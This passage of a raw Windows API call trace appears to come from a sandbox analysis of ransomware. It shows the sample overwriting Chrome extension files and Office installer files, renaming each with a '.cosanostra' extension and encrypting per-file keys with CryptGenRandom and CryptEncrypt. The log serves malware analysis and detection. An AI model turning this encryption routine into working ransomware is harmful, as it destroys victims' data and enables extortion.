lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0106.838] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 159 [0106.838] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.840] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffd7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.841] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x2abec84, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abec84*=0x282, lpOverlapped=0x0) returned 1 [0106.841] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.841] WriteFile (in: hFile=0x180, lpBuffer=0x2abecc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec84, lpOverlapped=0x0 | out: lpBuffer=0x2abecc4*, lpNumberOfBytesWritten=0x2abec84*=0x4, lpOverlapped=0x0) returned 1 [0106.841] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec84, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec84*=0x30, lpOverlapped=0x0) returned 1 [0106.841] CloseHandle (hObject=0x180) returned 1 [0106.863] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.cosanostra") returned 170 [0106.863] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0106.869] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecc0 | out: pbBuffer=0x2abecc0) returned 1 [0106.869] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecb8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecb8*=0x30) returned 1 [0106.869] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0106.870] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 159 [0106.870] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.922] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffd69, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.932] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x297, lpNumberOfBytesWritten=0x2abec7c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abec7c*=0x297, lpOverlapped=0x0) returned 1 [0106.933] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.933] WriteFile (in: hFile=0x180, lpBuffer=0x2abecbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec7c, lpOverlapped=0x0 | out: lpBuffer=0x2abecbc*, lpNumberOfBytesWritten=0x2abec7c*=0x4, lpOverlapped=0x0) returned 1 [0106.933] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec7c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec7c*=0x30, lpOverlapped=0x0) returned 1 [0106.933] CloseHandle (hObject=0x180) returned 1 [0106.933] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.cosanostra") returned 170 [0106.933] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0106.935] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecb8 | out: pbBuffer=0x2abecb8) returned 1 [0106.935] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecb0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecb0*=0x30) returned 1 [0106.935] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0107.452] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 152 [0107.452] StrStrW (lpFirst="icon_16.png", lpSrch=".txt") returned 0x0 [0107.453] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffdd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.453] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x22c, lpNumberOfBytesWritten=0x2abec74, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec74*=0x22c, lpOverlapped=0x0) returned 1 [0107.453] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.453] WriteFile (in: hFile=0x138, lpBuffer=0x2abecb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec74, lpOverlapped=0x0 | out: lpBuffer=0x2abecb4*, lpNumberOfBytesWritten=0x2abec74*=0x4, lpOverlapped=0x0) returned 1 [0107.453] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec74, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec74*=0x30, lpOverlapped=0x0) returned 1 [0107.454] CloseHandle (hObject=0x138) returned 1 [0107.454] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.cosanostra") returned 163 [0107.454] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.cosanostra")) returned 1 [0107.573] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecb8 | out: pbBuffer=0x2abecb8) returned 1 [0107.573] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abecb0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abecb0*=0x30) returned 1 [0107.573] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0107.574] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0107.574] StrStrW (lpFirst="setup.exe", lpSrch=".txt") returned 0x0 [0107.622] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.622] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec74, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec74*=0x2800, lpOverlapped=0x0) returned 1 [0107.622] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.623] WriteFile (in: hFile=0x138, lpBuffer=0x2abecb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec74, lpOverlapped=0x0 | out: lpBuffer=0x2abecb4*, lpNumberOfBytesWritten=0x2abec74*=0x4, lpOverlapped=0x0) returned 1 [0108.105] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec74, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec74*=0x30, lpOverlapped=0x0) returned 1 [0108.105] CloseHandle (hObject=0x138) returned 1 [0108.105] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.cosanostra") returned 87 [0108.105] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.cosanostra")) returned 1 [0108.106] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecb0 | out: pbBuffer=0x2abecb0) returned 1 [0108.107] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeca8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeca8*=0x30) returned 1 [0108.107] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0108.107] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0108.107] StrStrW (lpFirst="PidGenX.dll", lpSrch=".txt") returned 0x0 [0108.117] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.118] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec6c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec6c*=0x2800, lpOverlapped=0x0) returned 1 [0108.118] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.118] WriteFile (in: hFile=0x138, lpBuffer=0x2abecac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec6c, lpOverlapped=0x0 | out: lpBuffer=0x2abecac*, lpNumberOfBytesWritten=0x2abec6c*=0x4, lpOverlapped=0x0) returned 1 [0108.130] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec6c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec6c*=0x30, lpOverlapped=0x0) returned 1 [0108.131] CloseHandle (hObject=0x138) returned 1 [0108.131] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.cosanostra") returned 89 [0108.131] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.cosanostra")) returned 1 [0108.132] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abecb0 | out: pbBuffer=0x2abecb0) returned 1 [0108.132] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeca8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeca8*=0x30) returned 1 [0108.132] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0108.132] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0108.132] StrStrW (lpFirst="ose.exe", lpSrch=".txt") returned 0x0 [0108.163] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.164] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec6c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec6c*=0x2800, lpOverlapped=0x0) returned 1 [0108.164] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.164] WriteFile (in: hFile=0x138, lpBuffer=0x2abecac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec6c, lpOverlapped=0x0 | out: lpBuffer=0x2abecac*, lpNumberOfBytesWritten=0x2abec6c*=0x4, lpOverlapped=0x0) returned 1 [0108.173] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec6c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec6c*=0x30, lpOverlapped=0x0) returned 1 [0108.173] CloseHandle (hObject=0x138) returned 1 [0108.199] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.cosanostra") returned 85 [0108.199] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.cosanostra")) returned 1 [0108.200] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeca8 | out: pbBuffer=0x2abeca8) returned 1 [0108.200] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeca0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeca0*=0x30) returned 1 [0108.201] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.202] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0108.202] StrStrW (lpFirst="Office32WW.msi", lpSrch=".txt") returned 0x0 [0108.261] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.261] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec64, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec64*=0x2800, lpOverlapped=0x0) returned 1 [0108.261] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.261] WriteFile (in: hFile=0x180, lpBuffer=0x2abeca4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec64, lpOverlapped=0x0 | out: lpBuffer=0x2abeca4*, lpNumberOfBytesWritten=0x2abec64*=0x4, lpOverlapped=0x0) returned 1 [0108.307] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec64, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec64*=0x30, lpOverlapped=0x0) returned 1 [0108.307] CloseHandle (hObject=0x180) returned 1 [0108.308] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.cosanostra") returned 92 [0108.308] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.cosanostra")) returned 1 [0108.311] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeca8 | out: pbBuffer=0x2abeca8) returned 1 [0108.311] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeca0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeca0*=0x30) returned 1 [0108.311] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.312] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 81 [0108.312] StrStrW (lpFirst="ProPlusrWW.msi", lpSrch=".txt") returned 0x0 [0108.342] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.342] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec64, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abec64*=0x2800, lpOverlapped=0x0) returned 1 [0108.343] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.343] WriteFile (in: hFile=0x180, lpBuffer=0x2abeca4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec64, lpOverlapped=0x0 | out: lpBuffer=0x2abeca4*, lpNumberOfBytesWritten=0x2abec64*=0x4, lpOverlapped=0x0) returned 1 [0108.455] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec64, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec64*=0x30, lpOverlapped=0x0) returned 1 [0108.455] CloseHandle (hObject=0x180) returned 1 [0108.455] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.cosanostra") returned 92 [0108.455] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.cosanostra")) returned 1 [0108.456] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeca0 | out: pbBuffer=0x2abeca0) returned 1 [0108.456] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec98*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec98*=0x30) returned 1 [0108.456] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.457] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0108.457] StrStrW (lpFirst="Office32WW.msi", lpSrch=".txt") returned 0x0 [0108.502] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.502] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec5c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abec5c*=0x2800, lpOverlapped=0x0) returned 1 [0108.520] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.520] WriteFile (in: hFile=0x180, lpBuffer=0x2abec9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec5c, lpOverlapped=0x0 | out: lpBuffer=0x2abec9c*, lpNumberOfBytesWritten=0x2abec5c*=0x4, lpOverlapped=0x0) returned 1 [0108.532] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec5c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec5c*=0x30, 